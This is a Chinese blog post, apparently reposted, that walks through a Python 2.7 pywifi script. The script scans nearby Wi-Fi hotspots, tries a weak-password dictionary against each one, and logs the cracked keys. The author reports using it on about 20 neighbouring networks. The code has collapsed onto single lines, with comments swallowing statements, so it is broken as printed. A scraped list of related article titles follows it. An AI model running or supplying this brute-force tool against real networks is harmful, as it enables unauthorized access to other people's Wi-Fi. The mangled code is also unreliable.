为什么80%的码农都做不了架构师?>>>   

环境准备

  • python2.7
  • 凑合的linux
  • 差不多的无线网卡
  • pywifi模块
  • 弱口令字典
  • 清除系统中的任何wifi连接记录(非常重要!!!)

首先,这个模块在win下有点鸡肋,作者在调用WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装,所以推荐在linux下跑,我测试所使用的是Kali 2.0 自带python 2.7.6 ,可直接通过 pip install pywifi 安装。

导入模块

这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。

from pywifi import *
import time
import sys

字典准备

效率很重要,毕竟这东西跑起来可真慢,下面是天朝用的比较多的wifi弱口令TOP10

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111

配置扫描器

推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里

def main():#扫描时常scantimes = 3#单个密码测试延迟testtimes = 15output = sys.stdout#结果文件保存路径files = "TestRes.txt"#字典列表keys = open(sys.argv[1],"r").readlines()print "|KEYS %s"%(len(keys))#实例化一个pywifi对象wifi = PyWiFi()#选择定一个网卡并赋值于ifaceiface = wifi.interfaces()[0]#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置scanres = scans(iface,scantimes)#统计附近被发现的热点数量nums = len(scanres)print "|SCAN GET %s"%(nums)print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)#将每一个热点信息逐一进行测试for i,x in enumerate(scanres):#测试完毕后,成功的结果讲存储到files中res = test(nums-i,iface,x,keys,output,testtimes)if res:open(files,"a").write(res)

扫描周围热点

def scans(face,timeout):#开始扫描face.scan()time.sleep(timeout)#在若干秒后获取扫描结果return face.scan_results()

热点测试

这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。

def test(i,face,x,key,stu,ts):#显示对应网络名称,考虑到部分中文名啧显示bssidshowID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid#迭代字典并进行爆破for n,k in enumerate(key):x.key = k.strip()#移除所有热点配置face.remove_all_network_profiles()#讲封装好的目标尝试连接face.connect(face.add_network_profile(x))#初始化状态码,考虑到用0会发生些逻辑错误code = 10t1 = time.time()#循环刷新状态,如果置为0则密码错误,如超时则进行下一个while code!=0 :time.sleep(0.1)code = face.status()now = time.time()-t1if now>ts:breakstu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s |  %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))stu.flush()if code == 4:face.disconnect()return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)return False

案例

这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了

  • WIFIID 热点的id号 每跑一个会减1
  • SSID OR BSSID 热点的ssid名或mac地址
  • N 对热点的连接状态,这个在
  • time 当前所花去的时间
  • signal 热点的信号强度,若小越好
  • KEYNUM 测试密码的id 每跑一个会减1
  • KEY 当前测试的密码

结果还不错,各位的安全意识不像以前那么蛋疼了,扫出一两个,其中一个还是自家的 - -

传送门

字典 源码 模块

转载于:https://my.oschina.net/Apathy/blog/821039

一个非常简单易懂的WIFI密码爆破python脚本相关推荐

  1. 一个批量转换文件编码的python脚本

    一个批量转换文件编码的python脚本 需要将工作目录下的文件进行转码,开始的编码是GBK的,需要将其转换为utf-8的.文件较多,手动转换肯定不行,用Python写个脚本来实现.找到一段代码参考: ...

  2. python ssh 爆破_ssh爆破(python脚本)

    最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本 #!/usr/local/bin/ python # -*- coding: UTF-8 -*- __author__ = 'yangxi ...

  3. 破解隔壁wifi的实践——python脚本

    两种思路的方法: 1,python脚本试密码 2,网络攻击,抓取握手包,解包. 本篇博客介绍python脚本试密码 本文介绍第一种方式,第二种方式详见我下一篇文章: 破解隔壁wifi的实践--网络攻击 ...

  4. windows/电脑连接过的wifi密码查看,脚本查看wifi密码

    复制以下内容到本地,放到一个文本中,将后缀改为.bat,保存的编码记得选ANSI,要是能看懂英文无所谓 @echo offcolor 2title 获取wifi密码/Get the password ...

  5. 子域名挖掘,子域名爆破,Python脚本编写(Python安全攻防)。

    1.什么是域名. 域名(Domain Name),又称网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置). 由于I ...

  6. python ssh脚本_ssh爆破(python脚本)

    最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本 #!/usr/local/bin/ python # -*- coding: UTF-8 -*- __author__ = 'yangxi ...

  7. 两个python文件怎么联系在一起_一个连接两个文件的python脚本

    公司在阿里云上有一个模块叫mrs,一共120台,它是跟云录像有关的,这个服务一直都是云服务器里没有公网但是购买了公网SLB,然后20个为一组配置到一个SLB里,这个SLB是按流量收费的.但是最近到了年 ...

  8. 基于Linux上的wifi密码爆破

    首先先介绍一下工具:vm虚拟机,移动无线网卡,一个装有aircrack的linux(这里我用的是kali),靠谱的密码字典.Ps:如果不用虚拟机的话应该可以直接使用电脑内置无线网卡 第一步,查看网卡信 ...

  9. CTF-Crypto 密码解密python脚本(一)

    凯撒密码 # 模块安装 pip install pycipher from pycipher import Caesarplaintext = Caesar(3).decipher(ciphertex ...

最新文章

  1. Ubuntu 16.04.1 LTS上安装电源管理系统TLP
  2. 网站推广专员浅析不做大幅修改如何调整网站推广内容?
  3. golang 位操作
  4. android InputStream中read()与read(byte[] b)
  5. 海洋zyapi.php,海洋cms自带资源发布api插件和第三方资源站接入办法说明
  6. 根据条件控制参数控件是否显示(可用)
  7. arraylist扩容是创建新数组吗 java_Java 基础数据结构分析
  8. 使用Spark Streaming进行情感分析
  9. echarts中的option.legend.data has not been defined.
  10. html ajax请求乱码,关于Ajax请求中传输中文乱码问题的解决方案
  11. python 分类变量xgboost_XGBoost的介绍、应用、调参、知识点
  12. 虚拟机用Linux安装软件
  13. 【GMSK+FPGA】基于verilog的GMSK调制系统设计
  14. ih5长图如何滑动_iH5中级教程:微场景H5必备,横向滑动切换
  15. 【STM32】标准库-SDIO-SDHC
  16. 一级下拉对应多个二级下拉联动
  17. 强力推荐90个优秀外国英文网站
  18. ad打开ddb文件_如何用AD10打开DDB文件
  19. launcher切页动画
  20. HTML5网页设计基础——精美电商悬浮窗

热门文章

  1. mysql sql语句联系_sql语句练习50题(Mysql版)
  2. .net程序员转行做手游开发经历(五)
  3. python判断城市属于的省份
  4. ag-Grid Enterprise 27.2.0 Crack
  5. String.split()方法
  6. Win10 下 Qt5.13.2+OpenCV4.5.1 开发环境搭建笔记
  7. 基于OpenHarmony的智能电饭煲
  8. nxe2000_Xbox 360 NXE-忘记游戏,Xbox是一个媒体中心
  9. 感觉今年天猫11.11销售额能破千亿
  10. 在Unity中制作完整的技能系统(介绍篇)